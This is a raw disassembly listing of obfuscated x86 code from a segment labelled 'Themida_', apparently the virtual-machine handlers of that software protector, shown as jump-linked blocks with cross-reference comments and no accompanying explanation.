; ---------------------------------------------------------------------------
loc_587596: ; CODE XREF: Themida_:0058BAF5j
add esp, 4
jmp loc_5873FE
; ---------------------------------------------------------------------------
loc_5875A1: ; CODE XREF: Themida_:0058BC5Bj
and eax, ebp
pop ebp
jmp loc_588777
; ---------------------------------------------------------------------------
loc_5875A9: ; CODE XREF: Themida_:0058767Ej
add dword ptr [esp+8], 6F81771Ah
add [esp+8], edx
sub dword ptr [esp+8], 6F81771Ah
jmp loc_58A503
; ---------------------------------------------------------------------------
loc_5875C2: ; CODE XREF: Themida_:0058DDFBj
push edi
jmp loc_584D91
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5875CF: ; CODE XREF: Themida_:loc_58C99Dj
mov ebp, [esp]
add esp, 4
push ebx
jmp loc_58C570
; ---------------------------------------------------------------------------
loc_5875DE: ; CODE XREF: Themida_:00585FA9j
add al, 0FDh
sub al, bl
sub al, 0FDh
mov ebx, [esp]
add esp, 4
push ecx
push eax
mov ah, 0BCh
mov ch, 66h
add ch, ah
pop eax
neg ch
sub ch, 0AFh
shr ch, 3
jmp loc_5892B6
; ---------------------------------------------------------------------------
loc_587603: ; CODE XREF: Themida_:00586465j
mov bh, 0F3h
add ah, bh
pop bx
neg ah
shl ah, 4
inc ah
and ah, 79h
add ah, 0CEh
sub dh, ah
pop eax
shr dh, 6
jmp loc_58BA59
; ---------------------------------------------------------------------------
loc_587621: ; CODE XREF: Themida_:0058D1AFj
mov ebp, 5FCE578Bh
jmp loc_58C0BA
; ---------------------------------------------------------------------------
loc_58762B: ; CODE XREF: Themida_:00583D00j
pop ebx
sub ebp, 6BA15D1h
jmp loc_58A975
; ---------------------------------------------------------------------------
loc_587637: ; CODE XREF: Themida_:00586C30j
mov eax, esp
push ebp
jmp loc_58747E
; ---------------------------------------------------------------------------
loc_58763F: ; CODE XREF: Themida_:00589161j
pop edx
jmp loc_583286
; ---------------------------------------------------------------------------
loc_587645: ; CODE XREF: Themida_:0058B6D9j
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push edx
sub esp, 4
jmp loc_587800
; ---------------------------------------------------------------------------
loc_587666: ; CODE XREF: Themida_:0058BC24j
push 0
jmp loc_584452
; ---------------------------------------------------------------------------
loc_587670: ; CODE XREF: Themida_:00581BA2j
mov [esp], edx
mov edx, 613D6926h
push edx
mov edx, 62513B5Bh
jmp loc_5875A9
; ---------------------------------------------------------------------------
loc_587683: ; CODE XREF: Themida_:00589BAFj
pop edx
jmp loc_58CAAD
; ---------------------------------------------------------------------------
loc_587689: ; CODE XREF: Themida_:00582A3Dj
push eax
jmp loc_586D49
; ---------------------------------------------------------------------------
loc_58768F: ; CODE XREF: Themida_:0058575Bj
shr edx, 7
jmp loc_5835BC
; ---------------------------------------------------------------------------
loc_587697: ; CODE XREF: Themida_:0058789Dj
xor edi, ecx
not ecx
jmp loc_5823B2
; ---------------------------------------------------------------------------
loc_5876A0: ; CODE XREF: Themida_:00588947j
neg esi
jmp loc_58C5BC
; ---------------------------------------------------------------------------
loc_5876A7: ; CODE XREF: Themida_:005877EFj
sub bl, al
push eax
push ebx
mov bl, 35h
or bl, 71h
xor bl, 0E5h
jmp loc_58681D
; ---------------------------------------------------------------------------
loc_5876B8: ; CODE XREF: Themida_:005845DEj
pop ebp
sub ebp, 270034E4h
jmp loc_58B2FC
; ---------------------------------------------------------------------------
loc_5876C4: ; CODE XREF: Themida_:00586050j
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_58C00B
; ---------------------------------------------------------------------------
loc_5876DE: ; CODE XREF: Themida_:00586763j
add esi, 63607F2Fh
add esi, ebx
sub esi, 63607F2Fh
add esi, 22CF7A09h
mov ebx, [esp]
jmp loc_58D89B
; ---------------------------------------------------------------------------
loc_5876FA: ; CODE XREF: Themida_:0058BB1Fj
sub ebx, 609876BFh
add ebx, ebp
add ebx, 609876BFh
sub ebx, 671A6D7Ch
pop ebp
add ebx, 2
xchg ebx, [esp]
pop esp
or [esp], al
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_587722: ; CODE XREF: Themida_:00585A39j
push edx
push edi
mov edi, 0D903EBAh
mov edx, edi
pop edi
sub eax, 389456B1h
add eax, 33CA27E8h
sub eax, edx
jmp loc_58A9FC
; ---------------------------------------------------------------------------
loc_58773D: ; CODE XREF: Themida_:0058CC6Dj
shl eax, 3
add eax, 2A834A0h
not eax
xor eax, 9761D5CBh
add ecx, eax
pop eax
xchg ecx, [esp]
pop esp
push edx
push 5A4907A1h
jmp loc_586768
; ---------------------------------------------------------------------------
loc_58775E: ; CODE XREF: Themida_:0058D792j
pop edx
xor edx, edi
pop edi
add ecx, edx
mov edx, [esp]
add esp, 4
xchg ecx, [esp]
pop esp
xor [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58777B: ; CODE XREF: Themida_:0058851Ej
pop ebx
sub esp, 4
mov [esp], ebp
jmp loc_5860F5
; ---------------------------------------------------------------------------
loc_58778A: ; CODE XREF: Themida_:005840ADj
dec edi
shr edi, 1
jmp loc_58AEFF
; ---------------------------------------------------------------------------
loc_587792: ; CODE XREF: Themida_:0058C73Ej
sub ebp, eax
mov eax, [esp]
add esp, 4
jmp loc_589D6B
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov eax, [esp]
push ebx
mov ebx, esp
jmp loc_587BEA
; ---------------------------------------------------------------------------
loc_5877B3: ; CODE XREF: Themida_:00584D64j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_588C3F
; ---------------------------------------------------------------------------
loc_5877C8: ; CODE XREF: Themida_:00586002j
push 7129h
mov [esp], edx
jmp loc_589C16
; ---------------------------------------------------------------------------
loc_5877D5: ; CODE XREF: Themida_:0058498Fj
and dl, 24h
inc dl
xor dl, 9Ah
push 4D3Fh
jmp loc_582710
; ---------------------------------------------------------------------------
loc_5877E7: ; CODE XREF: Themida_:0058DD61j
pop eax
add bl, al
sub bl, 0EFh
pop ax
jmp loc_5876A7
; ---------------------------------------------------------------------------
loc_5877F4: ; CODE XREF: Themida_:005821B8j
sub ebx, 359A09D5h
pop edi
jmp loc_582510
; ---------------------------------------------------------------------------
loc_587800: ; CODE XREF: Themida_:00587661j
mov [esp], ecx
push ebx
mov bl, 7Eh
mov cl, bl
mov ebx, [esp]
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
push esi
mov esi, 4
jmp loc_583636
; ---------------------------------------------------------------------------
loc_587827: ; CODE XREF: Themida_:0058860Dj
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_588EAD
; ---------------------------------------------------------------------------
loc_58783E: ; CODE XREF: Themida_:005873EEj
mov esp, [esp]
mov [esp], ecx
mov ecx, esp
push 460Ah
mov [esp], edi
mov edi, 4
add ecx, edi
mov edi, [esp]
add esp, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_5857A8
; ---------------------------------------------------------------------------
loc_58786C: ; CODE XREF: Themida_:00581910j
push edi
jmp loc_585483
; ---------------------------------------------------------------------------
loc_587872: ; CODE XREF: Themida_:00584D6Dj
push edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
add esp, 4
add edi, 4
jmp loc_58BE5B
; ---------------------------------------------------------------------------
loc_587895: ; CODE XREF: Themida_:0058962Ej
xor [esp], eax
xchg eax, edi
xor edi, ecx
xor ecx, edi
jmp loc_587697
; ---------------------------------------------------------------------------
loc_5878A2: ; CODE XREF: Themida_:00588E4Dj
push dword ptr [esp]
jmp loc_5867A5
; ---------------------------------------------------------------------------
loc_5878AA: ; CODE XREF: Themida_:00586673j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5878AF: ; CODE XREF: Themida_:00589C85j
push edx
mov dl, 35h
xor dl, 56h
push ax
mov al, 8Eh
xor dl, al
pop ax
push ecx
mov ch, 0EFh
jmp loc_58CCA6
; ---------------------------------------------------------------------------
loc_5878C5: ; CODE XREF: Themida_:0058D9B1j
pop ecx
add ebp, 7591EA5Ch
sub esi, 33995876h
jmp loc_581ECA
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push 5A5h
jmp loc_589E3C
; ---------------------------------------------------------------------------
loc_5878E6: ; CODE XREF: Themida_:005887FFj
not ebx
shr ebx, 3
push edi
mov edi, 0EC2309CAh
add ebx, edi
pop edi
add eax, 6DF26D6Bh
jmp loc_58C5F7
; ---------------------------------------------------------------------------
loc_5878FE: ; CODE XREF: Themida_:0058C4C9j
; Themida_:0058C555j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
mov eax, [esp]
push 206h
mov [esp], ebx
mov ebx, esp
jmp loc_588784
; ---------------------------------------------------------------------------
loc_587926: ; CODE XREF: Themida_:0058496Dj
push 1
pop edi
and eax, edi
push dword ptr [esp]
mov edi, [esp]
push 2Eh
mov [esp], esi
mov esi, esp
push eax
mov eax, 4
jmp loc_58844C
; ---------------------------------------------------------------------------
loc_587949: ; CODE XREF: Themida_:00581D5Fj
add esp, 4
sub esi, 0D9550DE7h
xor eax, esi
push dword ptr [esp]
jmp loc_58A16C
; ---------------------------------------------------------------------------
loc_58795C: ; CODE XREF: Themida_:0058B790j
shr eax, 10h
xor eax, ecx
xchg eax, ecx
not ecx
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], ebp
sub esp, 4
jmp loc_5879A8
; ---------------------------------------------------------------------------
loc_58797E: ; CODE XREF: Themida_:005858ECj
pop edx
pop ax
push ecx
mov cl, 0D6h
push edx
mov dl, 0A6h
xor dl, 35h
jmp loc_5849E0
; ---------------------------------------------------------------------------
push 703Bh
jmp loc_58BD12
; ---------------------------------------------------------------------------
loc_587999: ; CODE XREF: Themida_:0058C5F2j
push ebp
mov ebp, esp
push eax
push 39C36F9Bh
pop eax
jmp loc_5885B1
; ---------------------------------------------------------------------------
loc_5879A8: ; CODE XREF: Themida_:00587979j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5842BF
; ---------------------------------------------------------------------------
loc_5879B7: ; CODE XREF: Themida_:00582E55j
add edi, 4
push ebp
mov ebp, 2
add edi, ebp
pop ebp
push edi
push dword ptr [esp+4]
jmp loc_58B649
; ---------------------------------------------------------------------------
loc_5879D0: ; CODE XREF: Themida_:0058C05Bj
add edi, 4
jmp loc_588987
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_58B89F
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
push esp
push dword ptr [esp]
pop edx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ecx
mov ecx, 7BBA7BC8h
jmp loc_5897A1
; ---------------------------------------------------------------------------
loc_587A0C: ; CODE XREF: Themida_:00584F64j
sub ch, 1
add ch, 2Eh
mov bh, ch
pop ecx
and dh, bh
pop ebx
xor dh, 2Ch
shr dh, 5
shl dh, 2
sub dh, 0D0h
push eax
mov ah, 0E4h
jmp loc_585431
; ---------------------------------------------------------------------------
loc_587A2C: ; CODE XREF: Themida_:0058DB56j
mov edx, [esp]
add esp, 4
pop ebx
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_587A38: ; CODE XREF: Themida_:00589CE3j
add eax, ebx
add eax, 22D90686h
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 2
sub eax, 56AD740Ah
jmp loc_586EDD
; ---------------------------------------------------------------------------
loc_587A60: ; CODE XREF: Themida_:0058C76Ej
mov [esp], edi
push 5F5D35C0h
jmp loc_58415C
; ---------------------------------------------------------------------------
loc_587A6D: ; CODE XREF: Themida_:00584713j
mov [esp], ebx
mov ebx, 0FF2456Ah
not ebx
xor ebx, 0E317B654h
sub ebp, ebx
pop ebx
jmp loc_58C490
; ---------------------------------------------------------------------------
loc_587A85: ; CODE XREF: Themida_:00589A49j
add eax, 48D50679h
push esi
mov esi, 800h
jmp loc_58A4F9
; ---------------------------------------------------------------------------
loc_587A95: ; CODE XREF: Themida_:00582EA1j
add al, 29h
push dx
jmp loc_58AFB3
; ---------------------------------------------------------------------------
loc_587A9E: ; CODE XREF: Themida_:0058A38Bj
mov edx, 11F348C9h
push eax
mov eax, 54F510C6h
xor eax, 4506580Bh
xor edx, eax
pop eax
sub eax, 1AC51601h
add eax, edx
jmp loc_583DBD
; ---------------------------------------------------------------------------
loc_587ABD: ; CODE XREF: Themida_:0058B739j
or ecx, 0E4C4459h
sub ecx, 9ECECF5Dh
jmp loc_584D2E
; ---------------------------------------------------------------------------
loc_587ACE: ; CODE XREF: Themida_:0058ABD2j
mov [esp], ebx
jmp loc_5820B4
; ---------------------------------------------------------------------------
loc_587AD6: ; CODE XREF: Themida_:00586393j
xor ecx, eax
jmp loc_58AC0C
; ---------------------------------------------------------------------------
loc_587ADD: ; CODE XREF: Themida_:00588430j
mov ecx, 4
mov ebx, ecx
pop ecx
sub edx, 1F77F34h
sub edx, 5DB37C2Bh
jmp loc_58B3A7
; ---------------------------------------------------------------------------
loc_587AF6: ; CODE XREF: Themida_:005852A1j
not ebx
xor ebx, 1E4F4DDFh
jmp loc_584A02
; ---------------------------------------------------------------------------
loc_587B03: ; CODE XREF: Themida_:00585EDBj
add eax, 4
jmp loc_58D9ED
; ---------------------------------------------------------------------------
loc_587B0D: ; CODE XREF: Themida_:005833F8j
push ecx
jmp loc_581D64
; ---------------------------------------------------------------------------
loc_587B13: ; CODE XREF: Themida_:0058AA18j
mov [esp], eax
mov al, 0F5h
not al
jmp loc_589589
; ---------------------------------------------------------------------------
loc_587B1F: ; CODE XREF: Themida_:00583B9Cj
add ecx, 5E3496C0h
xor esi, ecx
pop ecx
or esi, 208A4511h
push eax
mov eax, 5A193BF2h
not eax
xor eax, 2073916h
inc eax
or eax, 25542384h
add eax, 13A34AF1h
sub eax, 0CF15044Dh
jmp loc_582876
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_587B50: ; CODE XREF: sub_5F0C13-6AF3Ej
mov word ptr [esp+36h+var_36], cx
jmp loc_5852FE
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_587B59: ; CODE XREF: Themida_:005883B2j
pop eax
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push 313Ch
jmp loc_58C4A5
; ---------------------------------------------------------------------------
loc_587B70: ; CODE XREF: Themida_:0058804Fj
pop edx
shr eax, 0Eh
xor eax, ecx
push eax
xor [esp], esi
xor esi, [esp]
xor [esp], esi
push 2F1Dh
jmp loc_585EF9
; ---------------------------------------------------------------------------
loc_587B8A: ; CODE XREF: Themida_:0058B688j
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
btr [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_587B9F: ; CODE XREF: Themida_:00581C5Bj
sub bl, al
push dx
jmp loc_5826E7
; ---------------------------------------------------------------------------
loc_587BA8: ; CODE XREF: Themida_:00588AE0j
or [edi+1Ch], eax
mov eax, [esp]
add esp, 4
jmp loc_5818C9
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 739Fh
mov [esp], eax
push esp
jmp loc_588069
; ---------------------------------------------------------------------------
loc_587BC8: ; CODE XREF: Themida_:00582B3Aj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_587BCD: ; CODE XREF: Themida_:005895B4j
push ecx
jmp loc_58CDBE
; ---------------------------------------------------------------------------
loc_587BD3: ; CODE XREF: Themida_:0058CE72j
not ch
shl ch, 4
xor ch, 0A2h
mov ah, ch
pop ecx
push ecx
mov ch, ah
mov dh, ch
pop ecx
pop eax
jmp loc_58BF30
; ---------------------------------------------------------------------------
loc_587BEA: ; CODE XREF: Themida_:005877AEj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push ebp
mov ebp, esp
jmp loc_588BDB
; ---------------------------------------------------------------------------
loc_587C02: ; CODE XREF: Themida_:005863DBj
xor edx, ebp
pop ebp
jmp loc_5891E3
; ---------------------------------------------------------------------------
loc_587C0A: ; CODE XREF: Themida_:0058A95Fj
mov ecx, esp
add ecx, 4
jmp loc_58AFC5
; ---------------------------------------------------------------------------
loc_587C17: ; CODE XREF: Themida_:005826BAj
mov ebx, 0
sub ebx, esi
mov esi, ebx
pop ebx
and esi, 10F33A53h
shr esi, 6
jmp loc_58B568
; ---------------------------------------------------------------------------
loc_587C2F: ; CODE XREF: Themida_:0058AF9Aj
pop esp
mov [esp], ax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_587C39: ; CODE XREF: Themida_:00582E75j
pop ecx
sub eax, ebx
push 39FAh
mov [esp], edx
mov edx, 175C1685h
add eax, edx
pop edx
push 785Dh
mov [esp], esi
push ebx
mov ebx, 31CE2F83h
shr ebx, 3
add ebx, 1BF473BAh
mov esi, ebx
pop ebx
add esi, 1
neg esi
jmp loc_588142
; ---------------------------------------------------------------------------
loc_587C70: ; CODE XREF: Themida_:0058CDE6j
mov esi, [esp]
add esp, 4
push edi
mov edi, 541B0300h
and edi, 7F5C35E3h
and edi, 6F6C00E1h
dec edi
inc edi
xor edi, 4DF3145h
jmp loc_58D67E
; ---------------------------------------------------------------------------
loc_587C98: ; CODE XREF: Themida_:00586BD6j
not eax
jmp loc_5868E0
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop edi
push esi
mov esi, 64D65E3Fh
or esi, 674A50C7h
xor esi, 1BC00560h
jmp loc_583EB0
; ---------------------------------------------------------------------------
loc_587CD2: ; CODE XREF: Themida_:0058A3E1j
add edx, 812010Eh
add edx, 0C677A8h
jmp loc_5888B9
; ---------------------------------------------------------------------------
loc_587CE3: ; CODE XREF: Themida_:00587EF5j
add esp, 4
add esi, ecx
pop ecx
push eax
mov eax, 2
add esi, eax
pop eax
xchg esi, [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_585CC1
; ---------------------------------------------------------------------------
loc_587D01: ; CODE XREF: Themida_:00586531j
push edx
jmp loc_586492
; ---------------------------------------------------------------------------
loc_587D07: ; CODE XREF: Themida_:00582E67j
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov ax, [esp]
push edx
push 3741h
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push eax
push 4
pop eax
jmp loc_588C98
; ---------------------------------------------------------------------------
loc_587D3A: ; CODE XREF: Themida_:0058A7A0j
mov [esp], eax
push 4
mov eax, [esp]
add esp, 4
and ecx, eax
push dword ptr [esp]
pop eax
add esp, 4
shr ecx, 2
jmp loc_5857F7
; ---------------------------------------------------------------------------
loc_587D5C: ; CODE XREF: Themida_:0058CB2Fj
xor ebp, 44DC024Dh
sub esp, 4
mov [esp], ebp
mov eax, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add ebp, 4
xchg ebp, [esp]
jmp loc_58DD96
; ---------------------------------------------------------------------------
loc_587D9F: ; CODE XREF: Themida_:0058959Aj
add esp, 4
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_587DAA: ; CODE XREF: Themida_:00586D19j
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
jmp loc_584217
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58C56A
; ---------------------------------------------------------------------------
loc_587DC1: ; CODE XREF: Themida_:00581A24j
mov [esp], ebx
push edx
jmp loc_586374
; ---------------------------------------------------------------------------
loc_587DCA: ; CODE XREF: Themida_:00588628j
sub ebp, 5B462F74h
sub ebp, ebx
add ebp, 5B462F74h
mov ebx, [esp]
push ebp
mov ebp, esp
jmp loc_583E32
; ---------------------------------------------------------------------------
loc_587DE3: ; CODE XREF: Themida_:0058D7D8j
sub al, 2Eh
mov dh, al
pop eax
push ecx
mov cl, dh
mov bh, cl
pop ecx
jmp loc_58B765
; ---------------------------------------------------------------------------
loc_587DF3: ; CODE XREF: Themida_:0058D362j
add esp, 4
mov edx, ebp
mov ebp, [esp]
jmp loc_583530
; ---------------------------------------------------------------------------
mov cx, [esp]
push 1F46h
mov [esp], ebx
mov ebx, esp
sub esp, 4
mov [esp], eax
jmp loc_58C68A
; ---------------------------------------------------------------------------
loc_587E1C: ; CODE XREF: Themida_:0058DB1Fj
pop ebp
jmp loc_588FDB
; ---------------------------------------------------------------------------
loc_587E22: ; CODE XREF: Themida_:005846E4j
mov eax, esp
add eax, 4
jmp loc_5831D9
; ---------------------------------------------------------------------------
loc_587E2E: ; CODE XREF: Themida_:005823C1j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_58410A
; ---------------------------------------------------------------------------
loc_587E44: ; CODE XREF: Themida_:0058AE6Dj
mov ebx, esp
add ebx, 4
jmp loc_583920
; ---------------------------------------------------------------------------
loc_587E51: ; CODE XREF: Themida_:0058C1A1j
mov esp, [esp]
div cl
movzx cx, ah
sub esp, 4
jmp loc_58630B
; ---------------------------------------------------------------------------
loc_587E65: ; CODE XREF: Themida_:00586956j
pop ecx
push eax
mov eax, 4
add ecx, eax
jmp loc_584DD7
; ---------------------------------------------------------------------------
loc_587E73: ; CODE XREF: Themida_:00583B46j
xor ebp, [esp]
mov esp, [esp]
add [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_587E83: ; CODE XREF: Themida_:0058D7C0j
pop ax
movzx eax, al
jmp loc_58255B
; ---------------------------------------------------------------------------
loc_587E8D: ; CODE XREF: Themida_:005832E2j
pop esp
jmp loc_586BBC
; ---------------------------------------------------------------------------
loc_587E93: ; CODE XREF: Themida_:005894EBj
xchg ebp, [esp]
pop esp
add ebx, 2
xchg ebx, [esp]
jmp loc_584589
; ---------------------------------------------------------------------------
loc_587EA2: ; CODE XREF: Themida_:0058C0F0j
mov [esp], esp
push edi
jmp loc_5864B3
; ---------------------------------------------------------------------------
loc_587EAB: ; CODE XREF: Themida_:0058BFAAj
add esp, 4
jmp loc_584642
; ---------------------------------------------------------------------------
loc_587EB6: ; CODE XREF: Themida_:0058DAC1j
inc ebp
neg ebp
xor ebp, 6E956B10h
xor ebp, 936894E5h
add eax, ebp
pop ebp
xchg eax, [esp]
mov esp, [esp]
jmp loc_585608
; ---------------------------------------------------------------------------
loc_587ED3: ; CODE XREF: Themida_:00583B6Ej
push bx
mov bl, 0DBh
add ch, bl
jmp loc_588654
; ---------------------------------------------------------------------------
loc_587EDE: ; CODE XREF: Themida_:00588A71j
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], edx
push ecx
jmp loc_585B40
; ---------------------------------------------------------------------------
loc_587EEE: ; CODE XREF: Themida_:0058DF1Cj
pop ebp
mov ecx, esi
push dword ptr [esp]
pop esi
jmp loc_587CE3
; ---------------------------------------------------------------------------
loc_587EFA: ; CODE XREF: Themida_:0058BF58j
mov cl, 15h
add dl, cl
jmp loc_5857DF
; ---------------------------------------------------------------------------
loc_587F03: ; CODE XREF: Themida_:00585352j
add dword ptr [esp], 0F082185h
pop edx
push esi
mov esi, 0F082185h
sub edx, esi
pop esi
mov esi, [esp]
add esp, 4
add edx, 3E52D4F0h
push ebp
mov ebp, edx
mov esi, ebp
jmp loc_582BBB
; ---------------------------------------------------------------------------
loc_587F2A: ; CODE XREF: Themida_:00588414j
mov ecx, 9FF4ED47h
add esi, ecx
jmp loc_58A788
; ---------------------------------------------------------------------------
loc_587F36: ; CODE XREF: Themida_:005826B2j
shr ecx, 5
not ecx
and ecx, 6C986F7Eh
xor ecx, 6C986F1Ah
add esi, ecx
pop ecx
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_5841C3
; ---------------------------------------------------------------------------
loc_587F59: ; CODE XREF: Themida_:0058C608j
mov [esp], esp
jmp loc_588DA2
; ---------------------------------------------------------------------------
loc_587F61: ; CODE XREF: Themida_:005833CEj
xor ebp, edx
pop edx
jmp loc_58B8A6
; ---------------------------------------------------------------------------
loc_587F69: ; CODE XREF: Themida_:0058B8A1j
pop esi
push edx
mov edx, 52ED00DDh
xor edx, 10E379C1h
xor edx, 420E7918h
add esi, edx
pop edx
push eax
push ebp
mov ebp, 703F510Fh
inc ebp
dec ebp
shl ebp, 6
dec ebp
jmp loc_584C56
; ---------------------------------------------------------------------------
loc_587F91: ; CODE XREF: Themida_:0058B2CEj
not ah
jmp loc_585BC8
; ---------------------------------------------------------------------------
loc_587F98: ; CODE XREF: Themida_:00586802j
mov ebp, [esp]
add esp, 4
push 3DAAh
mov [esp], ecx
mov ecx, 2E5D66F1h
sub ecx, 40985224h
add ecx, 0FFFFFFFFh
push edx
push 0CF507494h
jmp loc_585F46
; ---------------------------------------------------------------------------
loc_587FC5: ; CODE XREF: Themida_:0058D577j
mov [esp], ebx
jmp loc_587491
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
jmp loc_5890E9
; ---------------------------------------------------------------------------
loc_587FDF: ; CODE XREF: Themida_:00585B59j
sub edx, esi
pop esi
jmp loc_58B477
; ---------------------------------------------------------------------------
loc_587FE7: ; CODE XREF: Themida_:0058AEE1j
mov edx, 4
add ecx, edx
pop edx
xchg ecx, [esp]
pop esp
loc_587FF3: ; CODE XREF: Themida_:005850D4j
; Themida_:005897B6j
push 5111h
mov [esp], ebx
push dword ptr [esp]
pop eax
push 5EE2h
mov [esp], ecx
jmp loc_589F30
; ---------------------------------------------------------------------------
loc_58800C: ; CODE XREF: Themida_:00582ECCj
or ebp, 7E3D2876h
sub ebp, 34243496h
sub ebp, 4BDB4ADDh
sub edx, 11A804DDh
add edx, ebp
add edx, 11A804DDh
jmp loc_58DB68
; ---------------------------------------------------------------------------
loc_588031: ; CODE XREF: Themida_:00588E42j
pop eax
jmp loc_582AD3
; ---------------------------------------------------------------------------
loc_588037: ; CODE XREF: Themida_:0058CC7Aj
pop eax
or edi, 5B1E08A3h
sub edi, 66B6D7DCh
and edx, edi
pop edi
sub edx, 63FFC045h
and eax, edx
jmp loc_587B70
; ---------------------------------------------------------------------------
loc_588054: ; CODE XREF: Themida_:0058894Fj
sub bl, 4Ah
jmp loc_5854E1
; ---------------------------------------------------------------------------
loc_58805C: ; CODE XREF: Themida_:0058C5EAj
push edx
mov edx, 0
add edx, ebx
jmp loc_5847A8
; ---------------------------------------------------------------------------
loc_588069: ; CODE XREF: Themida_:00587BC3j
push dword ptr [esp]
pop eax
add esp, 4
push esi
push eax
push ecx
mov ecx, 5C5E7CB5h
jmp loc_5889B2
; ---------------------------------------------------------------------------
loc_588080: ; CODE XREF: Themida_:00585156j
mov eax, 2
add edi, 703E0E5Bh
add edi, eax
sub edi, 703E0E5Bh
mov eax, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_58A7A5
; ---------------------------------------------------------------------------
loc_5880AB: ; CODE XREF: Themida_:005822BCj
add ebx, 4
add ebx, 4
jmp loc_58CFFF
; ---------------------------------------------------------------------------
loc_5880B9: ; CODE XREF: Themida_:00586D44j
add dl, bh
pop ebx
jmp loc_5881F2
; ---------------------------------------------------------------------------
loc_5880C1: ; CODE XREF: Themida_:00584FA2j
and ebp, 52796602h
sub ebp, 503103FEh
add edi, 6E0A3E3Fh
add edi, ebp
sub edi, 6E0A3E3Fh
jmp loc_589075
; ---------------------------------------------------------------------------
loc_5880E0: ; CODE XREF: Themida_:0058C7E8j
pop esp
mov [esp], ebx
jmp loc_588C5B
; ---------------------------------------------------------------------------
loc_5880E9: ; CODE XREF: Themida_:00582789j
add ebp, eax
mov eax, [esp]
add esp, 4
jmp loc_588612
; ---------------------------------------------------------------------------
loc_5880F9: ; CODE XREF: Themida_:005826E2j
add edi, ecx
pop ecx
add edx, edi
pop edi
jmp loc_58CE99
; ---------------------------------------------------------------------------
loc_588104: ; CODE XREF: Themida_:00584F3Ej
add ebx, 4
xchg ebx, [esp]
pop esp
add eax, ebx
sub esp, 4
mov [esp], ebp
mov ebp, 27472958h
sub eax, ebp
push dword ptr [esp]
jmp loc_58AC5D
; ---------------------------------------------------------------------------
loc_588125: ; CODE XREF: Themida_:005863E8j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push esi
mov esi, 17FE38A2h
mov edx, 0F4BBEA08h
jmp loc_58A6CE
; ---------------------------------------------------------------------------
loc_588142: ; CODE XREF: Themida_:00587C6Bj
add esi, 1
and esi, 7B46165Eh
xor esi, 36C5B5FEh
jmp loc_586B29
; ---------------------------------------------------------------------------
loc_588159: ; CODE XREF: Themida_:00589A9Fj
not ecx
sub ecx, 0CA4AC404h
and esi, ecx
jmp loc_5862FD
; ---------------------------------------------------------------------------
loc_588168: ; CODE XREF: Themida_:0058912Ej
mov ecx, 1A915F02h
not ecx
jmp loc_58D891
; ---------------------------------------------------------------------------
loc_588174: ; CODE XREF: Themida_:0058CCEDj
xor ecx, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588183: ; CODE XREF: Themida_:00586075j
pop esp
xor [esp], al
pushf
jmp loc_5835FF
; ---------------------------------------------------------------------------
loc_58818D: ; CODE XREF: Themida_:005820D0j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_58C241
